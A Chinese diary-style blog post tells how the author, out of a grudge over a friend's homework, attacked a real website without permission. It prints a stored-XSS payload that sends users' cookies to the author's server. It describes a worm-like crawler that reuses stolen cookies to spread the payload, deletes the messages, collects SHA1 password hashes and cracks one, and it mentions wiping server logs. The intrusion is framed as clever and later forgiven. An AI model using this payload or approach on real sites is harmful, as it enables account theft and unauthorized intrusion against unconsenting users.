滲透測試筆記:爬蟲變蠕蟲的故事


寫這篇文,主要想以日記的形式記錄下我在整個測試(gongji)過程中的

心路歷程、所用技術、填的坑等等。。

爲了讓文章顯得不那麼呆板,不那麼流水,我儘量使用一些文藝點的詞彙。


9月份的廣州,一天天總是有雨。

我呆坐在華工圖書館裏,望着窗外灰濛濛的天,溼漉漉的地,還有對面心情略顯陰

沉的小W。

我很清楚她爲什麼心情不好,作業被老師刁難誰會好受呢。


本着一份打抱不平的心,我百度了下老師提到過的一個她有註冊的網站,點擊uri的一瞬間,

一個精緻的頁面展現在我的眼前。

大致的看了一下站點的基本訊息,註冊人數大概有3萬左右,算是個有些規模的網站了,

果斷進入註冊頁面註冊了一個賬號。


那麼接下來是根據PTES標準測試流程的

第一步,開始信息搜尋、收集了;

我默默打開nmap,鍵入域名踏上了這條漫長的Web漏洞分析之路。

首先nmap 掃出來是這樣的:



看到這就明白了,收不收集信息什麼的其實已經是無所謂了,菜菜如我的手中不可能握有apache抑或nginx的0day。

whois,nslookup的返回結果的意義也不是很大。

所以,通過Web對系統進行分析是唯一的出路了:)

所以滲透測試中的每一步都是極其靈活的,要依具體情況具體決定。

想到這裏,讓我們直接進入第二步:  威脅建模

這第二步聽上去比較高大上,實際上即是從第一步獲取的信息中對系統有個

比較詳細的瞭解,從而確定最行之有效的攻擊路線。

對於我的目標站點而言,唯一行之有效的攻擊路線在於利用Web漏洞進行滲透(其他端口沒開嘛= =)

於是,我們進入正題:

漏洞分析

在我們的常規認知中,Web漏洞是服務器軟件自身的漏洞,一個應用軟件自身出問題和整個系統出問題

相比,其影響應當是很小的。然而隨着Web技術的不斷髮展,Web漸漸成爲了服務器上最爲核心的應用,

服務器最有價值的部分不再是昂貴的硬件和所需的人力物力資源,而是上面存儲的用戶數據、應用、以及

大量的用戶。

對於Web漏洞,許多人也認爲,通用的漏洞掃描器、網站防火牆、IDS等可以防禦掉大部分攻擊,因此不必

太在意Web服務上出現的漏洞。 從我自身而言,我比較反感使用自動化的漏洞掃描程序,尋找漏洞,更多

的時候所依靠的是一種感覺,基於技術和經驗的感覺。


於是我開始手動地在網站上面進行測試。登陸了剛剛註冊的賬戶之後,藉着BurpSuite的站點地圖功能,

我開始在各個存在id的地方手工注入測試是否存在Sql注入,找了一圈累的要死還沒有結果。

然後我把注意力轉向找回密碼功能,網站向註冊用戶郵箱發送了帶隨機數生成的idtoken,完美,無解。

緊接着我又把目光投向了遍歷目錄、越權訪問url,文件上傳等,皆無功而返。


疲憊的我幾乎已經要放棄這個對這個網站的滲透了,突然想起來,這幾天不是一直在看XSS麼。

可是XSS又有什麼用,好像除了彈個框,獲取一下cookie信息也無其他了。

但是畢竟也算是漏洞啊。。找找看吧。

如果只能找到反射型神馬的,那就讓我去睡覺吧。

突然,一個頁面引起了我的注意-



站內信這種類似郵箱收發功能的應用,會不會存在XSS神馬的呢?

在正文處,我想盡各種辦法的鍵入都被過濾掉了。



即便從編碼等角度入手,想盡辦法把一個標籤安插進去,都無能爲力。。

就在我要關電腦走人的時候,突發奇想地我把一段JS嵌入到了站內信的主題位置:


這一次,img標籤居然變成了一個帶叉號的圖標,這意味着,我的標籤被頁面嵌入了!

但是alert(/XSS/)被過濾成了Alert(/XSS/)。。

這個過濾也是讓我非常無奈,於是果斷eval(String.fromCharCode(97,xxx)),

緊接着,一個/XSS/字樣的框彈了出來。


問題是,然後呢?

所有的XSS攻擊,都是針對特定的用戶實施的,比如,可能會訪問某個被注入頁面的一些用戶,

這樣所能造成的攻擊效果一定是比較low的,除非這個網站包含什麼敏感信息。

不管怎麼說,現在終於有了一個注入點,我果斷地將代碼修改成:

<img sRc =1 onError = "new Image().src='http://myserver.com/?cookies='+document.cookie">

每當有一個用戶點擊他的信箱時,該js就會被執行。

果斷地在myserver.com用nodejs搭起了一個小接收器,測試了一下,cookie飛過來了。。



這說明,網站沒有對cookie設置Http-Only屬性,讓我的js輕易地獲取到了,那麼下面要做點

事情了。

返回用戶個人信息的頁面,我大致地瀏覽以下,有工作單位,專業,學位之類的信息,但是最下面的

一行內容引起了我的興趣:



F12看一下後臺,SHA1的加密。這基本等同於把明文密碼放到了用戶頁面上,擁有cookie就等於擁有

了密碼???真是天助我也!


不管了,我立刻抄起python寫了一個提取這個頁面密碼的腳本。

提起爬蟲,感覺突然間有了思路:如果爬蟲帶着cookie遍歷一遍整個網站自然沒什麼意義,我隨便註冊一個

用戶也可以;但是如果帶着別人的cookie(即冒充其他用戶)通過站內信以同樣的方式發送XSS腳本給這個人的朋

友,然後爬蟲再帶着這個人朋友的cookie(即冒充他)給他的好友發送同樣的內容,這樣不用很久,除了不使

用站內信的人,基本每個人的信箱裏都有那麼一封信,只要打開信箱,就會發送自己的cookie到我的服務器

同時給他的朋友發送這封信!


這不就是蠕蟲了嗎?(後面的事情的發展證明,菜如我並不知道什麼才叫蠕蟲,爲什麼不用js去寫,而非用myserver上的python腳本呢。。我到現在也不明白自己當時是怎麼想的。)


於是我飛快的引入了requests庫,構建帶cookie爬蟲的基本請求;

引入socket,建立nodejs與python進程的通信管道;

把從nodejs那裏得到的字符串切割分離包裝成字典裝入requests;

構建目標URL表單;

用bs4、正則匹配所有我需要的內容,把內容包裝好放入mongodb或者post數據表單中,

一切都進行地井井有條。


正在我快速完善着這隻僞裝成爬蟲的蠕蟲的時候,一個念頭突然閃過:myserver.com是我的ali雲服務器,

就這麼直接暴露在js代碼裏,那豈不是被人羣起而攻之?可是不用myserver又如何獲取cookie呢?

機智如我想到:如果在拿到cookie的一瞬間,爬蟲就直奔站內信把所有含有我的代碼的信件全部刪除!無論

是收件還是發件,正常人用瀏覽器看頁面一般是不會第一次就查看源代碼的吧,然而他看到我那封站內信

只有一次機會。F5刷新之後,一切都恢復了正常,除了他發給他朋友的信件以及留在我server裏的SHA1過

的密碼。


但是刪除的邏輯並不是那麼容易模仿的,我快速地敲擊着鍵盤,鍵盤發出悠悠的藍光,擡手一看錶,丫的

四點了!


//這隻爬蟲/蠕蟲掛在了Github-WebCralwerOrXSSWorm


打了個哈欠,果斷睡覺了。


第二天下午,又是大雨天。


睡了一上午的我,揉着疲憊的眼睛又坐在了電腦前。再次審視我的爬蟲/蠕蟲,雖然是倉促而成,但也初具規模了,

一想起我那爬蟲作蠕蟲的思路,就覺得自己很機智有木有。的確,只需要給人氣最高的1-2個用戶發送這封內容爲

“老師我想與你探討個問題”的郵件,他們在點擊自己站內信箱的一瞬間,他的所有好友就都得到了同樣的郵件,

最後誰能搞清楚誰是第一個發送的呢?而且這可是神奇的郵件,一被點擊就會消失的郵件。


下午17:29分,攻擊開始。


我最後檢查了一遍爬蟲腳本,將其上傳至myserver.com, 同時配置好了nodejs-server.

我的小爬蟲/蠕蟲會有什麼樣的表現呢?


我用昨天註冊的賬戶登陸了網站,在推薦用戶中選擇了人氣最旺的幾位用戶,就讓他們幫我傳播這封郵件吧!

在發送郵件的同時,我快速切出終端,輸入npm start ; python Listener.py


然後靜靜等待着。


沒錯,郵件已經送達。一個用戶已經開始查看了!我看到一個cookie顯示在python這邊的輸出意味着他已經獲取

到了cookie,下面就開始發送郵件然後刪除信箱內的郵件,再然後,獲取密碼並寫入數據庫。



我雙手托腮,靜靜地看着cookie一個一個跳出來。。。

就在這時,腳本突然中斷了!一個錯誤提示跳出來,指明某變量爲空。緊接着,這隻爬蟲如同

泄了氣的皮球,整個停滯下來。


我。。。怎麼會?腳本輸入的cookie都是固定格式的,因此在處理輸入變量異常等錯誤時我也沒有考慮

太多,難道有人手動get那個腳本?看到nodejs那邊還在繼續運行,我飛速地重啓了兩邊的程序,重新

使他們建立了鏈接。看到cookie又開始在屏幕上出現,我舒了一口氣。


然而沒過多久,同樣的事情又發生了。

nodejs還在接受cookie,然而python腳本已經死掉了!

我想,這下完了。很多郵件已經發送到了victim的朋友的郵箱裏,然而爬蟲/蠕蟲陣亡了,誰去處理

並刪除那些郵件?


我又一次飛速地重啓了兩邊的腳本,結果這次nodejs和python都在空轉,接收不到值了。


我呆滯地坐在屏幕前,開始不着邊際地想,是被對面有高手反黑了嗎額?我的myserver.com還安全嗎?

我的實驗室還安全麼?會不會馬上就有人來送快遞了丫的。


愣了幾秒後,我快速關閉了兩邊的腳本,刪除了服務器上的日誌,灰溜溜地下了線。

一看錶,時間是18:20,距離攻擊開始過去了大概50分鐘。

我又重新連回myserver.com,看了下mongodb裏面的情況,的確拿到了一些cookie,然而,不多。

我從裏面挑選了一個研究生的hash密碼,放到網上,秒解。小寫字母+數字,6位。登陸了他的站內信,

我驚奇地發現他的站內信裏面有大量的主題是一幅壞掉圖片的郵件!!我快速F12下進去看了源碼,

不是我的js代碼。

我一下明白了,他很可能是網站管理員,並且已經發現了這次攻擊的具體情況!

不得不說,反應夠快,才50分鐘而已,一切都在他的掌控之中了。

我在他站內信裏留了一封郵件,闡明瞭我測試的目的和我發現的漏洞,以及我的qq。


幾分鐘之後,他加了我,我們聊了聊。他告訴我,他們網站的IDS發現了你的服務器的異常行爲。

我這才明白過來,是爬蟲訪問頻率過高,導致我的行爲被IDS偵測到了!

我當初爲什麼要用python寫這個爬蟲啊!這根本不是什麼蠕蟲,就是個不停拿各種cookie在發送

請求的爬蟲。。。


回想過來,我這次攻擊的最大缺點是,相當於把所有流量都重定向到了myserver.com,不僅加大了

被發現的概率,同時也提升了利用漏洞的難度。

其次,腳本的容錯性太差,試想一個要publish的軟件,能動不動就趴窩麼?

再有,隱蔽性不夠好,雖然利用了學校裏其他位置的主機和服務器,但不還是在學校裏麼。。

優點在於,拿爬蟲當蠕蟲這個思路比較新穎把。。。如果算的話。。


我誠懇地道了歉,並且詳細地說明了漏洞的情況,對方也很慷慨地原諒了我。

我真的挺感謝這位管理員的,按道理說他完全有理由給我送快遞。。

而且他對攻擊的反應速度,證明了他業務的熟練能力。


雨剛過的路上還是溼的,我默默地走在去飯堂的路上。周圍喧鬧的人羣中,我低下頭,發現了一隻超級大的蝸牛。

他好像很艱難地在人羣中爬着,周圍人似乎都沒有看到他。


我默默撿起這隻巨大的蝸牛,把他放到了花壇邊。






發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章